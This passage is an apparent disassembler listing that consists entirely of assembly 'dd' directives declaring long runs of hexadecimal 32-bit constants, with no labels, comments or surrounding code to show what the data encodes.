		dd 0B595310Dh, 46AF444h, 0F7B8E2B9h, 0BCECD073h, 0D1BB8D50h
		dd 4DB80191h, 26024B4h,	0F08B3185h, 2E2A54C6h, 4C561C6h
		dd 885996B1h, 51486004h, 0B95B0156h, 72C2F861h,	52F081D2h
		dd 599E0AE9h, 1365C089h, 34BE9DA0h, 59790414h, 0F3B681FFh
		dd 0B5F92958h, 68020938h, 0FE94B856h, 0D08A4582h, 0AA82B20Ah
		dd 0B7016C47h, 113280DFh, 0F5CA64B2h, 485082ABh, 0F68403B0h
		dd 7087B8F9h, 54418245h, 2A066385h, 17CF078h, 26152524h
		dd 7D08D348h, 0BA66022Ah, 0B1B2493Fh, 0B3257750h, 0B62305F4h
		dd 8D3B522h, 0AABB40ACh, 28518F46h, 0C9509A6h, 360055A9h
		dd 77816598h, 27A44B3Fh, 53ED5824h, 0EC5F0C0h, 0DA0C6448h
		dd 17CEC95h, 50DF8B90h,	8D62E860h, 7EBA2C00h, 0C701F7DCh
		dd 270747EAh, 95A3F052h, 0AA538E0h, 0DB7A5211h,	615BD261h
		dd 88D54E90h, 4F40CF1Bh, 3E8620B8h, 0A0DD9837h,	0A5C82DD4h
		dd 2B6A89D1h, 7750004h,	4525F114h, 71E4DD2Eh, 0CFA13533h
		dd 10B7A089h, 9F8DC44Ch, 1E499060h, 2C40FF8Eh, 90F8FEB7h
		dd 2619B11Fh, 0B002DE3Fh, 21431E1h, 0DD51AEh, 7589EE7Dh
		dd 2603395Eh, 0B58D9053h, 0CBEE4C4Fh, 4E8C14ECh, 403F89E5h
		dd 0E7C011BAh, 87548B01h, 2A6ECAB2h, 580F96ECh,	0B9804282h
		dd 44955B6Ch, 801170C8h, 75415A4Ah, 4E06B5A6h, 0BE51FFD7h
		dd 9C630094h, 0CA8B6703h, 0CF9E965Bh, 0B7B303DCh, 53D9BA99h
		dd 306160C1h, 0E1AA503Eh, 16DFC105h, 841C24BDh,	0E197C0CEh
		dd 0B5FEC3D4h, 9526DD91h, 25A11760h, 0C7290367h, 0A0187D96h
		dd 228509F9h, 0F7593E30h, 343B706Dh, 3F377A2Fh,	0B67E81B4h
		dd 2279958Bh, 20CA8003h, 256B6C8h, 32A6081h, 468DFCCBh
		dd 0B841BDFCh, 53830029h, 78B3BB5Fh, 9513896Dh,	642201FDh
		dd 0B5502074h, 34915BDCh, 59950B85h, 8A403FD0h,	38802ED8h
		dd 0C5F497B8h, 0B83EA917h, 0E4C40DA6h, 2A1748E9h, 0AB006C6Eh
		dd 0FDD4875h, 24FAAA3h,	9BD263C1h, 0B56D1D0h, 487C2E5Ch
		dd 790AFA64h, 8337BE1Eh, 0C52D0A00h, 0B305F9h, 0CBA0B182h
		dd 12BE5334h, 0C65CE8CAh, 8B3B2318h, 2F16C8FAh,	95841810h
		dd 4345ED75h, 830F0AA6h, 53A491C0h, 1022108h, 599D8940h
		dd 863290Fh, 880A1A7Ch,	80847384h, 56D4D0DAh, 0FEB95588h
		dd 42B4268Ch, 0A7BB6158h, 36EF8E9h, 0EDCB5E9Ch,	0BB0D4005h
		dd 18E0467Ch, 9C42DBB6h, 8202E0B3h, 1FAE1AC0h, 0B87116C6h
		dd 11814D1h, 0AFBE3990h, 67305096h, 19F121Ch, 0F9B07959h
		dd 0AC7491FAh, 2D08DCE5h, 97FF1D22h, 1AC7E68h, 0C2B03CAFh
		dd 0B2D0CC67h, 947B63CDh, 63111E99h, 0BD406C95h, 78C0480Bh
		dd 0C6BD6A2Fh, 5B822D80h, 0C52BBB93h, 8E616A84h, 0C01B8809h
		dd 5AAF332Eh, 13B740Bh,	756E0223h, 5133091Bh, 952942F4h
		dd 0E9626915h, 0F51704DFh, 0A80DBD33h, 0F961037Ch, 431CC681h
		dd 9E00CB37h, 0CD8426E0h, 0D01FF20Dh, 0A6C93974h, 9C6D08FDh
		dd 0F0E5D08h, 93697968h, 0C2025F89h, 0D5E85ACAh, 6C1E8287h
		dd 9D260F7Bh, 299D3141h, 0C26EFB38h, 66F6A256h,	4C9B3510h
		dd 0CDD0D7FFh, 8086414Ah, 558B1BF2h, 72593078h,	9B02C557h
		dd 40921B5h, 9146E450h,	8E9680F8h, 0CBF3D589h, 0CC041900h
		dd 0FC8A363Fh, 82AF915Fh, 885BD29h, 0B7A505DBh,	0C28287Ch
		dd 842901BAh, 874F0F94h, 0CCA2845Ah, 8A08C599h,	3F4DDDD9h
		dd 0EC00956Ah, 3DA62D65h, 0FB6C9CFh, 40AA5069h,	0DAA89024h
		dd 50745AD0h, 0B7A1FE79h, 4E836CE1h, 6B004F6Eh,	4D026D26h
		dd 7777229Ah, 8620F15Ah, 3F43343Bh, 7CC414h, 18607929h
		dd 8B25DB2Dh, 9D01C005h, 2DE71AFDh, 91359CE2h, 278DD09Bh
		dd 6401E7CFh, 23D46019h, 1B7D16ABh, 0E351039Fh,	0D9A08B43h
		dd 32372D73h, 0DAC06436h, 70C2A012h, 3437B708h,	19C9D200h
		dd 1866D69Ah, 0B6E836BBh, 0BC918A0Fh, 49BD083Ch, 206B240Eh
		dd 0EB801230h, 8E10085Dh, 2F38A89h, 42351F0h, 0B896E960h
		dd 0EB30009Dh, 0B71D7251h, 94D2E0D3h, 0F5BB3701h, 0EF4A5322h
		dd 386419C8h, 42C9D59h
		dd 0B261DB05h, 8A17F578h, 7CFF201Ch, 57A2A428h,	0F6301CB2h
		dd 42CE0139h, 4F102D17h, 809D2CD4h, 0DED20702h,	0A141008Eh
		dd 0EE85CB2Fh, 1FECB561h, 82ED4F05h, 18C1F89Bh,	5F0207C1h
		dd 4A70DCD3h, 9EA20082h, 399209E7h, 58CE56E2h, 5E001069h
		dd 0CCBA6660h, 0ADA26190h, 15F9B360h, 9DDD882h,	8E82D5Fh
		dd 8529ACA1h, 0A3527EDDh, 0C2842412h, 900946Fh,	0ACEDE973h
		dd 0DC02A483h, 0F9B70F15h, 0E5FF6060h, 0B58B801Eh, 61854154h
		dd 0C2C2E825h, 0E0864D13h, 94A1C429h, 0E11D4C0Ch, 5A85A452h
		dd 0B6B913EDh, 0FAA0E0EEh, 13BE0262h, 4A33DB73h, 5891B387h
		dd 0B369E80Dh, 0B176E6Eh, 0A98E456Ah, 0B6CF504Fh, 1500DC64h
		dd 1F5AB966h, 0BF0720E8h, 1C0CAEBDh, 4809E2AEh,	0F9840522h
		dd 0E8F5020Dh, 37356AF1h, 322980A7h, 0CDA0E3BEh, 0E610713Ah
		dd 0A0FDF160h, 80232D0Dh, 0C9529509h, 0DFB63FB3h, 68805BDEh
		dd 9A99D798h, 0E4E35627h, 0BCC00156h, 8110C602h, 0D1E1FDC7h
		dd 85914153h, 566128D5h, 0FD1EF045h, 75570962h,	0B8648A5Ch
		dd 7D3CB8F4h, 0F86F0CDAh, 8A48DCDBh, 9DCA774h, 0C9BF0FAFh
		dd 2799A502h, 14D5DA90h, 0EF0AF591h, 13189B61h,	0C10CE96Bh
		dd 4E6EE645h, 0C2BCC0FAh, 979DFB06h, 3137EDDFh,	0F54CF924h
		dd 0E8D26D12h, 1DAF00ECh, 99179E52h, 553D0E8h, 321DE2E6h
		dd 8269B1F9h, 701357Ah,	21E96203h, 13258490h, 3077B180h
		dd 607D92E8h, 0B70CC780h, 2861C2B0h, 7A2D4F29h,	538C01E3h
		dd 760F6A56h, 34F82770h, 0DEE85CE8h, 0DBEC80F5h, 2D73609Ah
		dd 3A448D0Fh, 0D0E9853Ch, 22419D6Fh, 8280CE38h,	1707BDA4h
		dd 0C88C9800h, 0BF65169Dh, 7C5A0127h, 0E85F7994h, 0E29DAF0Eh
		dd 0FA2186AFh, 217D2450h, 4FC42F5h, 0D867246Fh,	0C5E80219h
		dd 0CB8B032Ah, 27056215h, 209ECB4h, 7729371Ah, 0EBC231D7h
		dd 0CF85415Eh, 0FD8CA3E8h, 0B4117D65h, 4A5BDE96h, 69E83F8Ch
		dd 0D0CD5B76h, 55203DC0h, 77EE0203h, 0BD89CD82h, 0F8B93DEh
		dd 41DE9A8Eh, 1D0834BCh, 0EE01DFD2h, 32E8EE6Fh,	3789A7h
		dd 0EC072012h, 82C906E7h, 101E8D18h, 0B0810145h, 39F80571h
		dd 0E130842Fh, 0D8B6AD22h, 40EA0BBFh, 0C8F1469Ch, 0CF32CD2Dh
		dd 8654FC60h, 4999E8FAh, 0D9941C03h, 0A876F302h, 2438897Bh
		dd 8265518h, 133A0B59h,	0CD6FC38Bh, 9226C60Eh, 9712E400h
		dd 0BFAC830Fh, 0EC070D2Fh, 71CDB101h, 0F33181Dh, 6893D772h
		dd 0D84C6103h, 7EAF8D5h, 83C7BF50h, 2B5E3441h, 4ABD01F4h
		dd 0D28D1F3Dh, 0E8D3C860h, 0F2001AB1h, 343D5D41h, 4099001Dh
		dd 172BBA4Dh, 5F4C0C35h, 241C125Fh, 0F1CBE50Bh,	0D17DA910h
		dd 7A181Dh, 1FBB8B4Ch, 2FB26A7Bh, 20D3925Dh, 840F1C02h
		dd 6048200Dh, 9ED90828h, 21310880h, 1D5B6109h, 801C11F0h
		dd 27687332h, 5FE0012Dh, 958D1BEEh, 0F4D02B35h,	941A89F8h
		dd 1D465E49h, 0CE9DB000h, 64FD2DEh, 2B87CD24h, 6D04420Bh
		dd 0EAC2C04Eh, 0DC060282h, 0F853E55Bh, 70A14DACh, 80BD9B4Eh
		dd 0F33FAFFEh, 0FCBC4D95h, 479BDC2h, 0DDC22B07h, 870817h
		dd 8835CF81h, 0D1D47178h, 22111096h, 625A2A50h,	1C3D9C61h
		dd 1CC40D47h, 0E777B960h, 0EAA55802h, 0C65E098Bh, 1CA0003Bh
		dd 0A9B294BFh, 790067B5h, 34EE6E46h, 1F986D74h,	0A6BD29A2h
		dd 35E9238h, 4CCCE61Ch,	0C87BC254h, 1C182F9h, 0C13999Dh
		dd 2E417DB8h, 2371B1F3h, 0ADDB7D44h, 0A1B64FC0h, 5F92A796h
		dd 5211DC1Dh, 7A0DE43h,	505FDB08h, 50A56A89h, 41754414h
		dd 9E376C31h, 6951D087h, 9FCEECC0h, 2BFE0065h, 40DE0CB8h
		dd 0F3C0D18h, 0CDAEE953h, 0E59CC02Eh, 0DC24874Eh, 467E572Eh
		dd 61300615h, 51C8FE8Bh, 0B069AE55h, 0EB0040BCh, 0C0617301h
		dd 5A2AE897h, 0FECE20CAh, 1FF0E589h, 0B0D2991Ah, 0DC89DCFAh
		dd 0FB3DFA0Ch, 1409F7E6h, 0C60D798Dh, 2E89ED9Dh, 5E703A53h
		dd 89D25A63h, 6A6A693h,	698AC43Ch, 0B8279CBh, 3C822FEDh
		dd 660121BDh, 46CFA8BFh, 0E7F3C9E0h, 379F2276h,	3CC2809Bh
		dd 1A0208D5h, 0E387F22Eh, 3FE9FB02h, 0D03C5301h, 2C0B298Ah
		dd 596A696Ch, 1819D1D7h, 580A01D2h, 607EFEEEh, 0BC7708Bh
		dd 661FC80h, 91AD80B9h,	0E94F5E3Ah, 459AB1D0h, 4435017Eh
		dd 0A24008F3h, 0A0982C24h, 9AE5B589h, 0F9A2D202h, 5E80B865h
		dd 0C0D59B6Ah, 37E98D63h, 0C8875B0Fh, 0F54EBDFAh, 0C30B9353h
		dd 0D678C23Dh, 0FE06DCC8h, 4D8D0160h, 204590EBh, 61262479h
		dd 0DEE1C3h, 5DB623F1h,	0DA5CD0Ch, 0BB885A4Fh, 0C5640703h
		dd 6014408Ah, 1B0B2B5Fh, 0ED1F5D05h, 10BC5592h,	278B5880h
		dd 0B7E85D6h, 0A449C60Eh, 0AAE02072h, 9C72541h,	0C58A5982h
		dd 84C018CDh, 141B4A1Fh, 0ADB79EF2h, 62012110h,	0D631E50Ch
		dd 0E17B6B6Fh, 13560850h, 8860D941h, 750065CCh,	7FD26EE2h
		dd 13DBDF15h, 4B41BD8Bh, 616F6132h, 1120B942h, 20D01AC8h
		dd 62AF6984h, 3F436057h, 0BE5902C9h, 53F238A9h,	1E1375Fh
		dd 39826B61h, 8DC484F2h, 0B3956985h, 0E6B8D9B9h, 0D6268201h
		dd 13C59D0Bh, 6910F03Dh, 0E7D04A11h, 4AFFB70Fh,	0F0E5E66Ah
		dd 0B95BE8Ch, 0C9B50360h, 8529BEA3h, 0DEAD1092h, 0F075365Ch
		dd 28AFE8C2h, 26EFEFF9h, 4CA2C62h, 0A915ED95h, 33EB1019h
		dd 0D905BF48h, 0CC05C083h, 0B900F410h, 0C8DF8C1Dh, 387D76h
		dd 9A0B1CACh, 0B0CFAE30h, 89A37F3Bh, 79605090h,	0D23F00D0h
		dd 23C2D4A6h, 0CC8A7900h, 0FE0F62C5h, 0D7E900BFh, 5B6144D5h
		dd 0ED959050h, 0A415C003h, 7C0B867Eh, 0E48E0F60h, 9FE22E14h
		dd 259D0B16h, 8D317C21h, 73213AA9h, 50E2B529h, 0F38103CAh
		dd 1A1D27EFh, 0F0DDB6F5h, 9FE8A43h, 0F17EE9E2h,	2F9DA082h
		dd 15D9A451h, 8880F119h, 1C07B1C2h, 9515448Dh, 81689E09h
		dd 67DE1D83h, 0F0EBB0FFh, 666D0085h, 0FFEAF4BBh, 5F5B53D1h
		dd 8101DBCCh, 29521075h, 0A250E39Dh, 4C026A5Bh,	0A9D24050h
		dd 2BC0C937h, 0C00ECD8Fh, 5F011FE1h, 0C8B95900h, 81664D80h
		dd 0C2434EF7h, 8BF81D59h, 2F379Fh, 8F60A666h, 0B2A0FE3Dh
		dd 0E78310EDh, 5AE9D870h, 0BE59D0Eh, 2C33F588h,	7503DED9h
		dd 8596DF3Ah, 0F1DE8CBh, 0BFFAA48Bh, 147FE090h,	0F7C22000h
		dd 4033D997h, 6BDA0767h, 29FF4EADh, 8EE5D901h, 0A2CD6709h
		dd 6496D48Ch, 43DA8C90h, 0CDA8981Eh, 8177740h, 1A3C1174h
		dd 0AE50B332h, 9090B15Fh, 69F07836h, 0A598A04Ch, 14173D20h
		dd 4935FF64h, 40056A64h, 50147CBBh, 89641340h, 0F26AB325h
		dd 2CC73019h, 0F325D7E8h, 4F1FF04Dh, 732CA714h,	0E557884Fh
		dd 780047B2h, 2BC98462h, 6A27294Dh, 0B5E160FFh,	882D413Dh
		dd 841E5150h, 612FD95h,	1C45EEE9h, 3B0FE8Bh, 369B509h
		dd 44816F38h, 67705CE6h, 7227A7C0h, 5E001D03h, 28A48F51h
		dd 0F235A147h, 5B0E0C90h, 4D7671E4h, 9FFDC7D2h,	0B343B631h
		dd 80BCE320h, 0BAA4E3A0h, 0D50CF6BBh, 0B0C1B933h, 3C2145D3h
		dd 8AFC271Ch, 0EB05BBF8h, 0FA02360Dh, 0C0C82BDEh, 0F0A89CD9h
		dd 9D232ED1h, 30EB34A3h, 2647D3DBh, 0CF8B4B3Fh,	99D7E21h
		dd 0C02B463Bh, 0FCE00607h, 7D63897Dh, 2AD03B1Bh, 325614C6h
		dd 48631C5Dh, 0AA01DC7Bh, 6105B15Ch, 3054CD2Ah,	8A257331h
		dd 22635215h, 90972B84h, 0C6CE1Ch, 0F82122D4h, 2405208Dh
		dd 0A583FC14h, 39F04A24h, 24894FF9h, 0E59617E1h, 0B0277E44h
		dd 0BAB4B590h, 4E239A09h
		dd 951381FEh, 892E09DDh, 148507F6h, 0A0B9031Dh,	24B38407h
		dd 9BD56100h, 267693E5h, 57F4200h, 44CDC5F9h, 0E2EB0C4Bh
		dd 0FCDC2ED4h, 0F578819Bh, 0D0090B35h, 9F022025h, 385F1384h
		dd 2CFC99h, 5DA92AB1h, 83995E55h, 75D5430Ah, 4167F6D2h
		dd 0AAB493A0h, 811BB961h, 20B69C08h, 1728C4D4h,	973F7300h
		dd 0E31D8651h, 0A5D00589h, 0DBFCF652h, 2CE3C0F6h, 120BE84Eh
		dd 0B99DB531h, 0D38102C5h, 5E2B4DE6h, 2001DE85h, 57E78C45h
		dd 0F049BA60h, 1C0DB441h, 0C233AD00h, 0D05AD160h, 2704E983h
		dd 0A237F475h, 0CDB52A09h, 23B4C101h, 44452EBDh, 5614880Dh
		dd 6728263Bh, 13221844h, 7F973D20h, 0EFB33940h,	68266C00h
		dd 0C8314C0h, 19393B04h, 0A982C12Ah, 9D42F811h,	83C080EDh
		dd 16657526h, 5F53321Ch, 0C2BA39AFh, 6403189Bh,	0A795BEA7h
		dd 0E6581964h, 0CF5CE00Eh, 0F7B4021Eh, 8E6C7B49h, 14042461h
		dd 5AC85B80h, 73F95C8Ah, 4F1AF510h, 0FCF96A87h,	1E0FF62Ah
		dd 0C0A5CAF3h, 0FA8B26E3h, 1C21DCB8h, 0DDE6EF9h, 63704ED2h
		dd 9E160099h, 37DEEDB3h, 76950B8Dh, 0DCDE1FFh, 6C4275C0h
		dd 0CB213927h, 849D968Ch, 2E4349E6h, 367A44Fh, 8619D27h
		dd 14413C6h, 70A77F08h,	131356ECh, 860F0304h, 0DE6E5736h
		dd 104A7202h, 46EC6C62h, 44104797h, 2097601Ch, 6FA604EFh
		dd 80C6DC9Fh, 12C98DBAh, 9092C49Dh, 0E18013CAh,	0C6F04h
		dd 775A1817h, 5BBF0CEh,	4DE7EE60h, 0F01BB5E8h, 0F1071854h
		dd 0EB9A6C27h, 493411DBh, 0E255C4h, 0D07B1D8Eh,	95315947h
		dd 38D2C549h, 0C90A945Bh, 7DB47485h, 0CA59ED25h, 0FC8138AAh
		dd 0AA54B0DEh, 0A98830CDh, 57227116h, 0A217C616h, 7FA028A7h
		dd 0EB86B2Bh, 3165619Dh, 25B23303h, 5125FA54h, 0EA6D0037h
		dd 0B43E8A83h, 0E4C75704h, 7EB9B97Bh, 618504D3h, 0F95F0911h
		dd 5DA73F83h, 32AD2CE4h, 5E4C3FE0h, 0C8034FF2h,	2F006AAAh
		dd 8E601FBAh, 0BAD3AF3h, 8B0F9827h, 0BB011EF1h,	9B12EC6h
		dd 688279BCh, 5D42768Dh, 723E0355h, 0D479B775h,	0E65340D8h
		dd 5C009112h, 45A02B46h, 518D50Ch, 5E4D9E88h, 2100C1C1h
		dd 0B5090022h, 28045C81h, 0B13EA48Eh, 295D8D0Ch, 1E0101Ch
		dd 46FCA04Ah, 0A59CE0A1h, 443E672Ah, 0ED216015h, 80D3B1F9h
		dd 0A3482BEEh, 7700B6ADh, 0F4509BDAh, 118F5C8h,	0CEB84DA8h
		dd 0C3C74313h, 0CA6F0BCFh, 3FA17140h, 60854EF5h, 8BD4C7D5h
		dd 0D9A0B535h, 2ABCD5ADh, 800F5811h, 193C044Fh,	1D9C1024h
		dd 0D9A12DA9h, 26651816h, 8880E57h, 812433C1h, 299FA72Eh
		dd 1F110108h, 170BDE89h, 0BA4955D9h, 446899Fh, 3D70467Bh
		dd 404796FEh, 238C41B3h, 0DC256374h, 48F5C696h,	201F1850h
		dd 0A1B23138h, 0B5FF011Eh, 0A8561F22h, 0B50D8EF0h, 68336300h
		dd 17028425h, 8C2209BBh, 8D213B35h, 0F21D87DAh,	3F196541h
		dd 96715D54h, 30BC75A9h, 0D3801F09h, 1893DEC5h,	3EBBE6FAh
		dd 0BCBB5E79h, 389BAC78h, 0B7920FB3h, 0ADCF65D8h, 769B87Ah
		dd 0D45E569Fh, 664341BAh, 414A7081h, 0A20D6162h, 0C17861B7h
		dd 85C7C951h, 4A6BAA63h, 17E057CDh, 76BED6Eh, 9D29E12Eh
		dd 0DB129B59h, 1C9BD12h, 0C106295Bh, 0C38A8664h, 15CAC4h
		dd 7324397Ch, 0D6AE591Ah, 7BE6E02h, 728C0F1Eh, 3930978Bh
		dd 1540459Dh, 0C7476BE9h, 6901EAB7h, 53B87838h,	5E015C20h
		dd 99994407h, 30500210h, 44BA610Ch, 7DC101CCh, 0E9CF5E8h
		dd 894C1F02h, 0CA485803h, 366EEBE7h, 6421F036h,	1BB170CFh
		dd 28299A50h, 58180621h, 57016813h, 1388481Bh, 0B844F9C0h
		dd 3C1202F3h, 0C4800985h, 0B23049C2h, 4FB72DB1h, 0F61417Bh
		dd 5C13B88Fh, 0C185A1E6h, 0C01DC80Fh, 0F1EB9060h, 0E761B002h
		dd 457D1792h, 658F983Dh, 8809CF81h, 8826CDDCh, 9027134Ah
		dd 0FB3C43h, 391C5A47h,	26119E84h, 0EEE8BB12h, 0D71D304h
		dd 18233Eh, 0F2656B52h,	0B52C89F8h, 8FA0B6D9h, 0D6400545h
		dd 0B0306BF3h, 5C984D4Ch, 0B62F71F8h, 5A7443C7h, 804FDB04h
		dd 30CCE76Bh, 50250B80h, 4058771Eh, 8BE42C41h, 0BF31F3D8h
		dd 8279DB3Fh, 0B2E51CC6h, 0DC1276C6h, 23F0D200h, 0EC6EB4E7h
		dd 0AA894CDDh, 0ADA52E2Dh, 49E004DEh, 0FE007B1Eh, 16D5AAACh
		dd 0D1AC3BB3h, 141B795h, 53EE074Eh, 0E8026098h,	36406C9Eh
		dd 582C792Dh, 0C52FE21Ch, 0DFB7E609h, 0D814F789h, 6207E1FFh
		dd 966FC486h, 938C11C0h, 754F5CCFh, 0CD01525Ah,	0C8882EFDh
		dd 0BD20082h, 0D432CF40h, 0F302367Eh, 26D33D62h, 7518C1C5h
		dd 835B01D6h, 0BF063AC2h, 26AD0E41h, 0BC92050h,	98EA1621h
		dd 0F569B02h, 0B775EEC0h, 0D0E4883h, 0ACF292h, 9223ED56h
		dd 13B1F7Bh, 0C2EA8242h, 0C82E1EE9h, 0F198BA45h, 80010D20h
		dd 9FB886D8h, 8C60444Fh, 674129Bh, 0B1E2D6BBh, 379D481Bh
		dd 0A74207E7h, 31254054h, 0EB481290h, 970DC011h, 903CDD0Fh
		dd 0C5654B75h, 9BA464ABh, 7FD5C3A8h, 0E5A1A83Eh, 0B8116B1h
		dd 0D1020D09h, 0D6807863h, 52968600h, 5C8EEBFh,	505B1CBAh
		dd 73B260h, 91402D87h, 0A3D782h, 0B8AD8EB2h, 132A9FACh
		dd 7B966127h, 0BF5F709Ah, 783CF129h, 7698B2Eh, 599AADB0h
		dd 101CA50Bh, 0B91ECDE8h, 3E991F50h, 0B7212242h, 1E40FC9Ah
		dd 0B72796D9h, 82112454h, 601774E9h, 9649E461h,	0DF53BF05h
		dd 0C4291C6Fh, 0AA81779h, 0E80AB298h, 0AA60CA69h, 0F6D7BFC0h
		dd 23140020h, 0F971D46Bh, 6103DA8Bh, 774810BBh,	27F6B632h
		dd 8AFB1FFDh, 288B3D0h,	0D85EB253h, 6A929395h, 0C36C105Dh
		dd 3C2F007Ch, 1A681030h, 0C90056C0h, 44DF7865h,	123153DDh
		dd 0A5D9BD33h, 199A88DEh, 65C12F2Bh, 65C84810h,	81022F40h
		dd 8F7B6A85h, 363CF500h, 13E815F1h, 10BC88h, 3F340784h
		dd 36A33BEEh, 20698E07h, 11708CC1h, 28115B1h, 0D346A1C3h
		dd 0C1635B66h, 0E6DE464Ah, 39F8BD81h, 2FE46CA8h, 48C32F16h
		dd 0AE102531h, 51027072h, 300FD409h, 9CC1E4C6h,	8C793D7h
		dd 4D3803B8h, 1C58F854h, 0C090A4B7h, 5FBB6627h,	0CE1CE987h
		dd 6665FFF2h, 0E977BADh, 3EC430D0h, 0C13609B2h,	2913C346h
		dd 7784D1BDh, 9AD27CB9h, 0A6F28265h, 0F93BA4F4h, 5CF16EBh
		dd 0FD24049Ah, 0A8F8B9B5h, 427F0189h, 0AF3E079Eh, 81961FFh
		dd 909DE162h, 4EEF8039h, 8772DE43h, 2816EDD0h, 0B11D8364h
		dd 9141FAB7h, 0DE2A447Bh, 91DB80D0h, 453926Bh, 6083085Ch
		dd 3D2D8182h, 0A2B80403h, 6A10FC25h, 97009267h,	26ACBA8Ah
		dd 0FC0A6928h, 504C2479h, 95AD2203h, 0BC036EDh,	4C406D8Ch
		dd 39408CD1h, 1390BD53h, 8D0E7A92h, 265F331Ah, 0B56ADF8Bh
		dd 300AF37h, 0AC0A2EB2h, 3D840196h, 0B529A695h,	1EC7315h
		dd 1754EF81h, 302F0A25h, 0BF666085h, 82EBBB39h,	3891711h
		dd 467161h, 4BF0CAD4h, 8E04CD97h, 0FFCFC336h, 0F965CBC1h
		dd 0EBD968C9h, 81852A2Fh, 62AFABC5h, 0B080E068h, 0D7363A92h
		dd 80ADB73Eh, 8BAEB4A7h, 1C79BC2Dh, 0A5FFD17Dh,	0EA1F3237h
		dd 70028E00h, 0EE483341h, 3B6C09D3h, 0FC025917h, 0BC5EDD0Dh
		dd 8F3F4951h, 0C01A88BBh, 9968E5CEh, 0E451A518h, 92E1466h
		dd 26AF88Ah, 0D6DB602h,	111900Ah, 0F44DF551h, 2C8D0B2Eh
		dd 0E9123A94h, 90F20D7Fh, 0AB0B85C9h, 0E1DED85Ch, 5BB5DCECh
		dd 36EBCh, 80081AA0h, 250FB4D3h, 96E6FEBFh, 0FF41BB02h
		dd 0E2903E14h, 40B55622h
		dd 0AC87392h, 762E2603h, 0CB06ED4Bh, 9DECB8FCh,	9B514812h
		dd 0E2923258h, 90DF8785h, 0D8E38CF4h, 0F2257512h, 8DBD966Dh
		dd 1F0177B8h, 0C0FA0E47h, 602FC576h, 35CB8185h,	0AE01C17h
		dd 0DAD790E9h, 4E158065h, 2874B3F7h, 15A34712h,	0A8FF6AF9h
		dd 0AFD6EE69h, 80E1ED18h, 7EC04CF3h, 0F22FB912h, 102847Eh
		dd 27C4FC16h, 0CBB000B0h, 0CE646B9h, 0F1B58970h, 715AE4B3h
		dd 3DFBC3C8h, 0E204105Ch, 0BDD2F207h, 4D9226Fh,	0B44149BFh
		dd 7E72BC33h, 96D876Eh,	177679F8h, 0C1200056h, 6525EB81h
		dd 0E34FBB25h, 12009572h, 41D5A739h, 0CC2D695Eh, 5F4B8FDAh
		dd 0D8A483C7h, 94107DBDh, 2053CAh, 6BC0E5B6h, 0FE423373h
		dd 6C49011Eh, 36CEA574h, 91368203h, 59F55B09h, 3C0E3D1Fh
		dd 1677F6BCh, 0F5BAE46Fh, 7F8D9A97h, 3B659B90h,	0D74BB000h
		dd 0B1EC02F2h, 85F04EAh, 0BD03D88Ch, 10E229Ah, 0CC17AFBBh
		dd 8241E957h, 0D38B6015h, 6199D561h, 90222FF5h,	23D42B2Dh
		dd 2B0A2610h, 8AECD5BDh, 181CA583h, 235926FEh, 68DF8080h
		dd 206312EEh, 9B5F09B6h, 927B6275h, 3C42B08h, 82D2E781h
		dd 286A2C89h, 8C15E830h, 0F2DEF7Ch, 0C44D9380h,	2255BD30h
		dd 0FCBEB897h, 0DA425B9h, 94D0D25Bh, 398804E9h,	0BCA69C18h
		dd 9EA64AC3h, 0E4F05DE0h, 0E9A6FC4Eh, 0ABE9F0E7h, 0A7A3F373h
		dd 75CCB8F8h, 47C02B2Bh, 4E87EC58h, 0D2F4925Ah,	5211A184h
		dd 0FC47AE3h, 80B1B88Ah, 292D53BBh, 25F12D9Dh, 0C8D05EDBh
		dd 0FED20067h, 9689617Ah, 9DE850FFh, 5F579964h,	0FE25C2CAh
		dd 0BD1380E6h, 89DD31C1h, 8E609B3Fh, 190453B6h,	89BDDD21h
		dd 0A002E6D3h, 0EFF09CAh, 381AF093h, 0CD8D3183h, 0BF045072h
		dd 263F4763h, 3DBD92BCh, 9FA8D2h, 988BFBD0h, 0BCA68A0h
		dd 601F9D58h, 51488281h, 781EB37Ch, 5B1CEAD5h, 8B509E3Bh
		dd 0B5E5D925h, 0BB075F11h, 955819Fh, 6D2D9679h,	363CE87h
		dd 0F3FB77BCh, 49DDDA88h, 0D7B99A97h, 0C0045C37h, 6A80DF1Ch
		dd 48FF3789h, 0F12641E1h, 0AEC5A57Ah, 3F501311h, 0CE074B6Dh
		dd 0C41B22AEh, 0BC9BA758h, 4DD4A3ACh, 7A1494A9h, 6533D26Dh
		dd 60126079h, 6DF21CB5h, 0E061125Fh, 0FD1CBF6Eh, 0E925093Fh
		dd 8B656029h, 89CB9B2Bh, 0AD1B7B8Ah, 0A84087CDh, 0FEE06F61h
		dd 0CD2A4BA4h, 0C0345B17h, 1DA19FAAh, 0B3595FE4h, 0C0CC4930h
		dd 859DF1CEh, 0D9600280h, 9098A706h, 0B83C1E56h, 3C7A04BFh
		dd 40816632h, 0D3FE61AFh, 8DD97085h, 3E5B7730h,	25055968h
		dd 76800F7Eh, 0B653EFBDh, 48B54C7Ch, 0B806A65Dh, 0DC49B466h
		dd 721D8F00h, 0E1B23C91h, 0F0264B23h, 84821A93h, 67ACDBBBh
		dd 651218D4h, 4B36F710h, 0CB4FE36Eh, 0AC9C7C4Ah, 0DAE95B04h
		dd 95A63794h, 5B9AFCE0h, 1C6B0B0Eh, 17A1B498h, 0E2527555h
		dd 0DB2D7FE5h, 630E4DBCh, 4178D84Bh, 0EA2164DFh, 0DE6D572Fh
		dd 0F3F4977Fh, 375100D6h, 8B533126h, 899DA99Dh,	0A06F719Dh
		dd 2F2D25D5h, 9EB04BEEh, 0FC06B151h, 0BC9162B3h, 0D4E67E49h
		dd 8F1B9C3Eh, 29A0F6CFh, 94407852h, 1E00DC42h, 0D7217B2Ch
		dd 16AE73F8h, 49ADBD29h, 3C48E885h, 3B00D3A0h, 31C26256h
		dd 2BED7B7h, 321B8A4Eh,	2DE1965Fh, 0D102D250h, 5A4C5E31h
		dd 0D550D4D3h, 9290221h, 810FE19Ch, 0F8020CECh,	4070CB68h
		dd 0B8C940F3h, 48957CA0h, 400C7F1h, 0DE933424h,	0B579890Ch
		dd 94B6AAB7h, 7B1446D6h, 0C5BD8916h, 6550C5BDh,	128C4FD6h
		dd 4346FF4h, 72879432h,	0F5D599F8h, 0B093E75Eh,	124637F1h
		dd 0A6618C0Ch, 0BE84E16Fh, 2F663D2Fh, 0CD0BB66Ah, 0DED09CEBh
		dd 63CE154Bh, 0E8224222h, 0BEB9000Ch, 3AEDF738h, 2D0425E7h
		dd 0F5275666h, 84454BC3h, 0F0E8ABF9h, 2E14FD07h, 4CFEFEF4h
